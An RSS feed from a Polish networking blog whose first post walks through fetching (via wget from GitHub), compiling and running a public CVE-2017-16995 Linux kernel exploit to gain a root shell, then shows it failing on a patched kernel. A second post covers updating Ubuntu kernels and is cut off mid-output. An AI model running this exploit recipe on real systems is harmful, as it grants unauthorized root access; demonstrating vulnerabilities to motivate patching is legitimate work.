<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>linux &#8211; RSNET.PL</title>
	<atom:link href="https://kubsoo.github.io/rsnet-website/tag/linux/feed/" rel="self" type="application/rss+xml" />
	<link>https://kubsoo.github.io/rsnet-website/</link>
	<description>wszystko o sieciach komputerowych</description>
	<lastBuildDate>Sat, 22 Feb 2020 11:40:47 +0000</lastBuildDate>
	<language>pl-PL</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=4.9.8</generator>
	<item>
		<title>Exploit na jądro Linux &#8211; podniesienie uprawnień do roota</title>
		<link>https://kubsoo.github.io/rsnet-website/exploit-na-jadro-linux-podniesienie-uprawnien-do-roota/</link>
		<comments>https://kubsoo.github.io/rsnet-website/exploit-na-jadro-linux-podniesienie-uprawnien-do-roota/#respond</comments>
		<pubDate>Wed, 27 Dec 2017 19:23:57 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[jądro]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[podniesienie uprawnień]]></category>

		<guid isPermaLink="false">https://kubsoo.github.io/rsnet-website/?p=915</guid>
		<description><![CDATA[Pod poniższym linkiem można znaleźć gotowy exploit wykorzystujący podatność CVE-2017-16995 https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c Podatność CVE-2017-16995 została opisana dla systemu Debian pod podanym adresem: https://security-tracker.debian.org/tracker/CVE-2017-16995 Błąd dotyczy wersji jądra &#62;= 4.9. Listę podatnych&#46;&#46;&#46;]]></description>
				<content:encoded><![CDATA[		<div class="elementor elementor-915">
			<div class="elementor-inner">
				<div class="elementor-section-wrap">
							<section data-id="e6d72c9" class="elementor-element elementor-element-e6d72c9 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="8e44464" class="elementor-element elementor-element-8e44464 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="999319e" class="elementor-element elementor-element-999319e elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;"><span style="color: #000000;">Pod poniższym linkiem można znaleźć gotowy exploit wykorzystujący podatność CVE-2017-16995 </span></p><p style="text-align: justify;"><span style="color: #ff0000;"><a style="color: #ff0000;" href="https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c">https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c</a></span></p><p style="text-align: justify;"><span style="color: #000000;">Podatność CVE-2017-16995 została opisana dla systemu Debian pod podanym adresem:</span></p><p><span style="color: #ff0000;"><a style="color: #ff0000;" href="https://security-tracker.debian.org/tracker/CVE-2017-16995​">https://security-tracker.debian.org/tracker/CVE-2017-16995</a></span></p><p style="text-align: justify;"><span style="color: #000000;">Błąd dotyczy wersji jądra &gt;= 4.9. Listę podatnych jądr można znaleźć pod tym linkiem: </span></p><p style="text-align: justify;"><span style="color: #000000;"><span style="color: #ff0000;">https://www.securityfocus.com/bid/102288</span></span></p><p style="text-align: justify;"><span style="color: #000000;">Więcej informacji o podatności można znaleźć tutaj:</span></p><p><a href="http://seclists.org/oss-sec/2017/q4/429​" data-wplink-url-error="true"><span style="color: #ff0000;">http://seclists.org/oss-sec/2017/q4/429</span></a></p><h5> </h5><h5><span style="color: #000000;">EXPLOIT</span></h5><p style="text-align: justify;"><span style="color: #000000;">Jak wykorzystać exploita, pokaże na przykładzie systemu operacyjnego Ubuntu z jądrem w wersji  <strong>4.10.0-041000-generic </strong></span></p><p style="text-align: justify;"><span style="color: #000000;">Najpierw ściągnijmy kod exploita:</span></p><pre><span style="color: #000000;">kuba@Ubuntu-1:~$ <strong>wget https://raw.githubusercontent.com/brl/grlh/master/get-rekt-linux-hardened.c</strong></span><br /><span style="color: #000000;">--2017-12-28 13:03:10-- https://raw.githubusercontent.com/brl/grlh/master/get-rekt-linux-hardened.c</span><br /><span style="color: #000000;">Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.0.133, 151.101.64.133, 151.101.128.133, ...</span><br /><span style="color: #000000;">Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.0.133|:443... connected.</span><br /><span style="color: #000000;">HTTP request sent, awaiting response... 200 OK</span><br /><span style="color: #000000;">Length: 11540 (11K) [text/plain]</span><br /><span style="color: #000000;">Saving to: ‘get-rekt-linux-hardened.c’</span><br /><br /><span style="color: #000000;">get-rekt-linux-hard 100%[===================&gt;] 11.27K --.-KB/s in 0.002s</span><br /><br /><span style="color: #000000;">2017-12-28 13:03:10 (7.06 MB/s) - ‘get-rekt-linux-hardened.c’ saved [11540/11540]</span></pre><pre><span style="color: #000000;">kuba@Ubuntu-1:~$ ls -l</span><br /><span style="color: #000000;">total 148</span><br /><span style="color: #000000;">-rw-rw-r-- 1 kuba kuba 150547 Dec 28 12:55 get-rekt-linux-hardened.c</span></pre><p style="text-align: justify;"><span style="color: #000000;">Jak widać mój użytkownik to kuba, sprawdźmy wynik komendy id dla tego użytkownika:</span></p><pre><span style="color: #000000;">kuba@Ubuntu-1:~$ id</span><br /><span style="color: #000000;">uid=1000(kuba) gid=1000(kuba) groups=1000(kuba)</span></pre><p style="text-align: justify;"><span style="color: #000000;">Widzimy, że użytkownik nie jest rootem, możemy więc spróbować uruchomić exploit i zdobyć uprawnienia roota.</span></p><h5> </h5><h5><span style="color: #000000;">URUCHOMIENIE EXPLOITA</span></h5><p style="text-align: justify;"><span style="color: #000000;">Exploita musimy skompilować, a następnie uruchomić. Do kompilowania użyjemy kompilatora gcc dostępnego w systemie:</span></p><pre><span style="color: #000000;">kuba@Ubuntu-1:~$ <strong>gcc -o get-rekt-linux-hardened.o get-rekt-linux-hardened.c</strong></span><br /><span style="color: #000000;">get-rekt-linux-hardened.c: In function ‘writemsg’:</span><br /><span style="color: #000000;">get-rekt-linux-hardened.c:334:19: warning: format ‘%d’ expects argument of type ‘int’, but argument 3 has type ‘ssize_t {aka long int}’ [-Wformat=]</span><br /><span style="color: #000000;"> fprintf(stderr, "short write: %d\n", n);</span><br /><span style="color: #000000;"> ^</span><br /><span style="color: #000000;">kuba@Ubuntu-1:~$ </span></pre></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="c128ae7" class="elementor-element elementor-element-c128ae7 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="ac34797" class="elementor-element elementor-element-ac34797 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="a5024ce" class="elementor-element elementor-element-a5024ce elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;"><span style="color: #000000;">Przy kompilacji dostaliśmy ostrzeżenie, jednak nie musimy się nim przejmować, kod został skompilowany i w wyniku działania powyższej komendy otrzymaliśmy plik: <em>get-rekt-linux-hardened.o</em></span></p><p style="text-align: justify;"><span style="color: #000000;">Teraz pozostało tylko uruchomienie pliku:</span></p><pre><span style="color: #000000;">kuba@Ubuntu-1:~$ ./get-rekt-linux-hardened.o</span><br /><span style="color: #000000;">[.]</span><br /><span style="color: #000000;">[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)</span><br /><span style="color: #000000;">[.]</span><br /><span style="color: #000000;">[.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **</span><br /><span style="color: #000000;">[.]</span><br /><span style="color: #000000;">[*] creating bpf map</span><br /><span style="color: #000000;">[*] sneaking evil bpf past the verifier</span><br /><span style="color: #000000;">[*] creating socketpair()</span><br /><span style="color: #000000;">[*] attaching bpf backdoor to socket</span><br /><span style="color: #000000;">[*] Leaking sock struct from ffff9a4db123d800</span><br /><span style="color: #000000;">[*] found sock-&gt;sk_rcvtimeo at offset 592</span><br /><span style="color: #000000;">[*] found sock-&gt;sk_peer_cred</span><br /><span style="color: #000000;">[*] hammering cred structure at ffff9a4db78f46c0</span><br /><span style="color: #000000;">[*] credentials patched, launching shell...</span><br /><span style="color: #000000;">#</span></pre></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="926fa44" class="elementor-element elementor-element-926fa44 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="bcf2392" class="elementor-element elementor-element-bcf2392 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="ce5893c" class="elementor-element elementor-element-ce5893c elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;"><span style="color: #000000;">Udało się !. Znak # sugeruje że jesteśmy teraz w shellu roota, sprawdźmy to wykonując komendę id:</span></p><pre><span style="color: #000000;"># id</span><br /><span style="color: #000000;">uid=0(root) gid=0(root) groups=0(root)</span></pre></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="1c1ce18" class="elementor-element elementor-element-1c1ce18 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="4c1587d" class="elementor-element elementor-element-4c1587d elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="9e115ed" class="elementor-element elementor-element-9e115ed elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><h5><span style="color: #000000;">PODSUMOWANIE</span></h5><p style="text-align: justify;"><span style="color: #000000;">Jest to świeży BUG (został upubliczniony 21.12.2017). W momencie pisania tego artykułu istnieje załatane jądro do Ubuntu w wersji 4.15-rc5. Jak zaktualizować jądro pokazywałem we wpisie:</span> <a href="https://kubsoo.github.io/rsnet-website/ubuntu-aktualizacja-jadra-na-szybko/">https://kubsoo.github.io/rsnet-website/ubuntu-aktualizacja-jadra-na-szybko/</a></p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="119d92c" class="elementor-element elementor-element-119d92c elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="8d8ecd5" class="elementor-element elementor-element-8d8ecd5 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="3e2a149" class="elementor-element elementor-element-3e2a149 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;"><span style="color: #000000;">Sprawdźmy jak zachowa się ten sam exploit na zaktualizowanym jądrze:</span></p><pre style="text-align: justify;"><span style="color: #000000;">kuba@Ubuntu-1:~$ uname -a</span><br /><span style="color: #000000;">Linux Ubuntu-1 <strong>4.15.0-041500rc5-generic</strong> #201712240530 SMP Sun Dec 24 05:31:14 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux</span></pre><pre><span style="color: #000000;">kuba@Ubuntu-1:~$ ./get-rekt-linux-hardened.o</span><br /><span style="color: #000000;">[.]</span><br /><span style="color: #000000;">[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)</span><br /><span style="color: #000000;">[.]</span><br /><span style="color: #000000;">[.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **</span><br /><span style="color: #000000;">[.]</span><br /><span style="color: #000000;">[*] creating bpf map</span><br /><span style="color: #000000;">[*] sneaking evil bpf past the verifier</span><br /><span style="color: #000000;">[*] log:</span><br /><span style="color: #000000;">0: (b4) (u32) r2 = (u32) -1</span><br /><span style="color: #000000;">1: (55) if r2 != 0xffffffff goto pc+2</span><br /><span style="color: #000000;"> R1=ctx(id=0,off=0,imm=0) R2=inv-1 R10=fp0</span><br /><span style="color: #000000;">2: (b7) r0 = 0</span><br /><span style="color: #000000;">3: (95) exit</span><br /><br /><span style="color: #000000;">from 1 to 4: R1=ctx(id=0,off=0,imm=0) R2=inv4294967295 R10=fp0</span><br /><span style="color: #000000;">4: (7b) *(u64 *)(r10 -16) = r1</span><br /><span style="color: #000000;">5: (18) r9 = 0x0</span><br /><span style="color: #000000;">7: (bf) r1 = r9</span><br /><span style="color: #000000;">8: (bf) r2 = r10</span><br /><span style="color: #000000;">9: (07) r2 += -4</span><br /><span style="color: #000000;">10: (62) *(u32 *)(r10 -4) = 0</span><br /><span style="color: #000000;">11: (85) call bpf_map_lookup_elem#1</span><br /><span style="color: #000000;">12: (55) if r0 != 0x0 goto pc+1</span><br /><span style="color: #000000;"> R0=inv0 R9=map_ptr(id=0,off=0,ks=4,vs=8) R10=fp0 fp-504=ctx</span><br /><span style="color: #000000;">13: (95) exit</span><br /><br /><span style="color: #000000;">from 12 to 14: R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=8) R10=fp0 fp-504=ctx</span><br /><span style="color: #000000;">14: (79) r6 = *(u64 *)(r0 +0)</span><br /><span style="color: #000000;"> R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=8) R10=fp0 fp-504=ctx</span><br /><span style="color: #000000;">15: (bf) r1 = r9</span><br /><span style="color: #000000;">16: (bf) r2 = r10</span><br /><span style="color: #000000;">17: (07) r2 += -4</span><br /><span style="color: #000000;">18: (62) *(u32 *)(r10 -4) = 1</span><br /><span style="color: #000000;">19: (85) call bpf_map_lookup_elem#1</span><br /><span style="color: #000000;">20: (55) if r0 != 0x0 goto pc+1</span><br /><span style="color: #000000;"> R0=inv0 R6=inv(id=0) R9=map_ptr(id=0,off=0,ks=4,vs=8) R10=fp0 fp-504=ctx</span><br /><span style="color: #000000;">21: (95) exit</span><br /><br /><span style="color: #000000;">from 20 to 22: R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R6=inv(id=0) R9=map_ptr(id=0,off=0,ks=4,vs=8) R10=fp0 fp-504=ctx</span><br /><span style="color: #000000;">22: (79) r7 = *(u64 *)(r0 +0)</span><br /><span style="color: #000000;"> R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R6=inv(id=0) R9=map_ptr(id=0,off=0,ks=4,vs=8) R10=fp0 fp-504=ctx</span><br /><span style="color: #000000;">23: (bf) r1 = r9</span><br /><span style="color: #000000;">24: (bf) r2 = r10</span><br /><span style="color: #000000;">25: (07) r2 += -4</span><br /><span style="color: #000000;">26: (62) *(u32 *)(r10 -4) = 2</span><br /><span style="color: #000000;">27: (85) call bpf_map_lookup_elem#1</span><br /><span style="color: #000000;">28: (55) if r0 != 0x0 goto pc+1</span><br /><span style="color: #000000;"> R0=inv0 R6=inv(id=0) R7=inv(id=0) R9=map_ptr(id=0,off=0,ks=4,vs=8) R10=fp0 fp-504=ctx</span><br /><span style="color: #000000;">29: (95) exit</span><br /><br /><span style="color: #000000;">from 28 to 30: R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R6=inv(id=0) R7=inv(id=0) R9=map_ptr(id=0,off=0,ks=4,vs=8) R10=fp0 fp-504=ctx</span><br /><span style="color: #000000;">30: (79) r8 = *(u64 *)(r0 +0)</span><br /><span style="color: #000000;"> R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R6=inv(id=0) R7=inv(id=0) R9=map_ptr(id=0,off=0,ks=4,vs=8) R10=fp0 fp-504=ctx</span><br /><span style="color: #000000;">31: (bf) r2 = r0</span><br /><span style="color: #000000;">32: (b7) r0 = 0</span><br /><span style="color: #000000;">33: (55) if r6 != 0x0 goto pc+2</span><br /><span style="color: #000000;"> R0=inv0 R2=map_value(id=0,off=0,ks=4,vs=8,imm=0) R6=inv0 R7=inv(id=0) R8=inv(id=0) R9=map_ptr(id=0,off=0,ks=4,vs=8) R10=fp0 fp-504=ctx</span><br /><span style="color: #000000;">34: (7b) *(u64 *)(r2 +0) = r10</span><br /><span style="color: #000000;">R10 leaks addr into map</span><br /><span style="color: #000000;">[!] failed to load prog 'Permission denied'</span><br /><br /><br /></pre><p style="text-align: justify;"><span style="color: #000000;">Jak widać jądro w wersji 4.15.0-041500rc5-generic jest odporne na tego exploita, więc zachęcam do szybkiego patchowania.</span></p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
						</div>
			</div>
		</div>
		]]></content:encoded>
			<wfw:commentRss>https://kubsoo.github.io/rsnet-website/exploit-na-jadro-linux-podniesienie-uprawnien-do-roota/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ubuntu aktualizacja jądra &#8211; na szybko</title>
		<link>https://kubsoo.github.io/rsnet-website/ubuntu-aktualizacja-jadra-na-szybko/</link>
		<comments>https://kubsoo.github.io/rsnet-website/ubuntu-aktualizacja-jadra-na-szybko/#respond</comments>
		<pubDate>Wed, 13 Dec 2017 21:35:33 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Na szybko]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[na szybko]]></category>
		<category><![CDATA[Poradnik]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">https://kubsoo.github.io/rsnet-website/?p=846</guid>
		<description><![CDATA[Przed przystąpieniem do aktualizacji jądra sprawdźmy jaką wersję jądra posiadamy, służy do tego komenda uname -a: kuba@Ubuntu-1:~$ uname -aLinux Ubuntu-1 4.4.0-104-generic #127-Ubuntu SMP Mon Dec 11 12:16:42 UTC 2017 x86_64&#46;&#46;&#46;]]></description>
				<content:encoded><![CDATA[		<div class="elementor elementor-846">
			<div class="elementor-inner">
				<div class="elementor-section-wrap">
							<section data-id="b811140" class="elementor-element elementor-element-b811140 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="244f850" class="elementor-element elementor-element-244f850 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="6c332d3" class="elementor-element elementor-element-6c332d3 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><div><span style="color: #000000;">Przed przystąpieniem do aktualizacji jądra sprawdźmy jaką wersję jądra posiadamy, służy do tego komenda uname -a:</span></div><div><pre><span style="color: #000000;">kuba@Ubuntu-1:~$ uname -a</span><br /><span style="color: #000000;">Linux Ubuntu-1 4.4.0-104-generic #127-Ubuntu SMP Mon Dec 11 12:16:42 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux</span></pre></div><div><span style="color: #000000;">Wersja jądra to 4.4.0-104-generic</span></div><div> </div><div style="text-align: justify;"><span style="color: #000000;">W celu aktualizacji jądra w systemie Ubuntu wchodzimy na stronę:</span> <a href="http://kernel.ubuntu.com/~kernel-ppa/mainline/">http://kernel.ubuntu.com/~kernel-ppa/mainline/</a></div><div style="text-align: justify;"><span style="color: #000000;">wybieramy wersję jądra (ja wybrałem wersję v4.10). Po kliknięciu w odpowiednią wersję zostaniemy przekierowani na stronę:</span></div><div><a href="http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.10/">http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.10/</a></div><div style="text-align: justify;"><span style="color: #000000;">gdzie mamy pliki dla odpowiednich platform sprzętowych. Ja posiadam procesor z architekturą 64 bitową, więc szukam plików dla tej architektury:</span></div><div> </div><pre><span style="color: #000000;">Build for amd64 succeeded (see</span> <a href="http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.10/BUILD.LOG.amd64):">BUILD.LOG.amd64):</a><br />  <a href="http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.10/linux-headers-4.10.0-041000_4.10.0-041000.201702191831_all.deb">linux-headers-4.10.0-041000_4.10.0-041000.201702191831_all.deb</a><br />  <a href="http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.10/linux-headers-4.10.0-041000-generic_4.10.0-041000.201702191831_amd64.deb">linux-headers-4.10.0-041000-generic_4.10.0-041000.201702191831_amd64.deb</a><br />  <a href="http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.10/linux-headers-4.10.0-041000-lowlatency_4.10.0-041000.201702191831_amd64.deb">linux-headers-4.10.0-041000-lowlatency_4.10.0-041000.201702191831_amd64.deb</a><br />  <a href="http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.10/linux-image-4.10.0-041000-generic_4.10.0-041000.201702191831_amd64.deb">linux-image-4.10.0-041000-generic_4.10.0-041000.201702191831_amd64.deb</a><br />  <a href="http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.10/linux-image-4.10.0-041000-lowlatency_4.10.0-041000.201702191831_amd64.deb">linux-image-4.10.0-041000-lowlatency_4.10.0-041000.201702191831_amd64.deb</a></pre><div><span style="color: #000000;">Nas interesują tylko poniższe trzy pliki:</span></div><div> </div><div><p><a href="http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.10/linux-image-4.10.0-041000-generic_4.10.0-041000.201702191831_amd64.deb">linux-image-4.10.0-041000-generic_4.10.0-041000.201702191831_amd64.deb</a></p><p><a href="http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.10/linux-headers-4.10.0-041000_4.10.0-041000.201702191831_all.deb">linux-headers-4.10.0-041000_4.10.0-041000.201702191831_all.deb</a></p></div><p><a href="http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.10/linux-image-4.10.0-041000-generic_4.10.0-041000.201702191831_amd64.deb">linux-image-4.10.0-041000-generic_4.10.0-041000.201702191831_amd64.deb</a></p><div> </div><div><span style="color: #000000;">Powyższe pliki ściągamy na nasz komputer korzystając z komendy wget:</span></div><pre><span style="color: #000000;">wget <a style="color: #000000;" href="http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.10/linux-headers-4.10.0-041000_4.10.0-041000.201702191831_all.deb">http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.10/linux-headers-4.10.0-041000_4.10.0-041000.201702191831_all.deb</a></span><br /><span style="color: #000000;">wget <a style="color: #000000;" href="http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.10/linux-headers-4.10.0-041000-generic_4.10.0-041000.201702191831_amd64.deb">http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.10/linux-headers-4.10.0-041000-generic_4.10.0-041000.201702191831_amd64.deb</a></span><br /><span style="color: #000000;">wget <a style="color: #000000;" href="http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.10/linux-image-4.10.0-041000-generic_4.10.0-041000.201702191831_amd64.deb">http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.10/linux-image-4.10.0-041000-generic_4.10.0-041000.201702191831_amd64.deb</a></span></pre><div><span style="color: #000000;">Jak mamy wszystkie 3 pliki ściągnięte:</span></div><pre><span style="color: #000000;">kuba@Ubuntu-1:~$ ls</span><br /><span style="color: #000000;">linux-headers-4.10.0-041000-generic_4.10.0-041000.201702191831_amd64.deb</span><br /><span style="color: #000000;">linux-headers-4.10.0-041000_4.10.0-041000.201702191831_all.deb</span><br /><span style="color: #000000;">linux-image-4.10.0-041000-generic_4.10.0-041000.201702191831_amd64.deb</span></pre><div style="text-align: justify;"><span style="color: #000000;">to przechodzimy do ich instalacji. W tym celu wykonujemy poniższą komendę:</span></div><pre><span style="color: #000000;">kuba@Ubuntu-1:~$ sudo dpkg-i *.deb</span></pre><div style="text-align: justify;"><span style="color: #000000;">Jeśli wszystko przebiegło poprawnie i nie dostaliśmy żadnego błędu, możemy zrestartować urządzenie. Po restarcie system powinien wystartować z nowym zaktualizowanym jądrem.</span></div><pre><span style="color: #000000;">root@Ubuntu-1:~# reboot</span></pre><div><span style="color: #000000;">Po restarcie sprawdźmy wersję jądra:</span></div><pre><span style="color: #000000;">kuba@Ubuntu-1:~$ uname -a</span><br /><span style="color: #000000;">Linux Ubuntu-1 <strong>4.10.0-041000-generic</strong> #201702191831 SMP Sun Feb 19 23:33:19 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux</span></pre><div style="text-align: justify;"><span style="color: #000000;">Widzimy, że aktualizacja przebiegła poprawnie i system korzysta z jądra w wersji <strong>4.10.0-041000-generic.</strong></span></div><div> </div><div style="text-align: justify;"> </div></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="38d00a4" class="elementor-element elementor-element-38d00a4 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="deab850" class="elementor-element elementor-element-deab850 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="4e905b3" class="elementor-element elementor-element-4e905b3 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><h5><span style="color: #000000;">AUTOMATYZACJA</span></h5><p style="text-align: justify;"><span style="color: #000000;">Skrypt to automatycznej aktualizacji jądra dla systemów Ubuntu i Debian można znaleźć pod poniższym linkiem:</span></p><p style="text-align: justify;"><span style="color: #ff0000;"><a style="color: #ff0000;" href="https://gist.github.com/kubsoo/36b16278ece326dacc487bc68140a4be">https://gist.github.com/kubsoo/36b16278ece326dacc487bc68140a4be</a></span></p><p style="text-align: justify;"><span style="color: #000000;">Jest to skrypt Python, który działa następująco:</span></p><ol><li><span style="color: #000000;">sprawdza architekturę systemu i obecnie zainstalowaną wersje systemu</span></li><li><span style="color: #000000;">sprawdza na stronie: http://kernel.ubuntu.com/~kernel-ppa/mainline jaka jest najnowsza wersja systemu</span></li><li><span style="color: #000000;">porównuje tą wersję z zainstalowaną wersją i jeśli się różnią to ściąga odpowiednie pliki dla najnowszej wersji</span></li><li><span style="color: #000000;">instaluje najnowszą wersję systemu</span></li><li><span style="color: #000000;">restartuje system</span></li></ol><p> </p><p style="text-align: justify;"><span style="color: #000000;">Wynik działania skryptu wygląda następująco:</span></p><pre><span style="color: #000000;">root@ubuntu-2:/home/kuba# <strong>./update_kernel.py</strong></span><br /><span style="color: #0000ff;"><strong>System Architecture is amd64</strong></span><br /><span style="color: #0000ff;"><strong>Kernel version is 4.13.0-21-generic</strong></span><br /><span style="color: #0000ff;"><strong>Found new kernel version 4.15.0-041500rc6</strong></span><br /><span style="color: #0000ff;"><strong>Proceed with download Y/n: Y</strong></span><br /><span style="color: #000000;">--2018-01-07 21:21:15-- http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.15-rc6/linux-headers-4.15.0-041500rc6_4.15.0-041500rc6.201712312330_all.deb</span><br /><span style="color: #000000;">Translacja kernel.ubuntu.com (kernel.ubuntu.com)... 91.189.94.216</span><br /><span style="color: #000000;">Łączenie się z kernel.ubuntu.com (kernel.ubuntu.com)|91.189.94.216|:80... połączono.</span><br /><span style="color: #000000;">Żądanie HTTP wysłano, oczekiwanie na odpowiedź... 200 OK</span><br /><span style="color: #000000;">Długość: 10864312 (10M) [application/x-debian-package]</span><br /><span style="color: #000000;">Zapis do: `linux-headers-4.15.0-041500rc6_4.15.0-041500rc6.201712312330_all.deb.1'</span><br /><br /><span style="color: #000000;">linux-headers-4.15. 100%[===================&gt;] 10,36M 5,85MB/s w 1,8s</span><br /><br /><span style="color: #000000;">2018-01-07 21:21:17 (5,85 MB/s) - zapisano `linux-headers-4.15.0-041500rc6_4.15.0-041500rc6.201712312330_all.deb.1' [10864312/10864312]</span><br /><br /><span style="color: #000000;">--2018-01-07 21:21:17-- http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.15-rc6/linux-headers-4.15.0-041500rc6-generic_4.15.0-041500rc6.201712312330_amd64.deb</span><br /><span style="color: #000000;">Translacja kernel.ubuntu.com (kernel.ubuntu.com)... 91.189.94.216</span><br /><span style="color: #000000;">Łączenie się z kernel.ubuntu.com (kernel.ubuntu.com)|91.189.94.216|:80... połączono.</span><br /><span style="color: #000000;">Żądanie HTTP wysłano, oczekiwanie na odpowiedź... 200 OK</span><br /><span style="color: #000000;">Długość: 1049628 (1,0M) [application/x-debian-package]</span><br /><span style="color: #000000;">Zapis do: 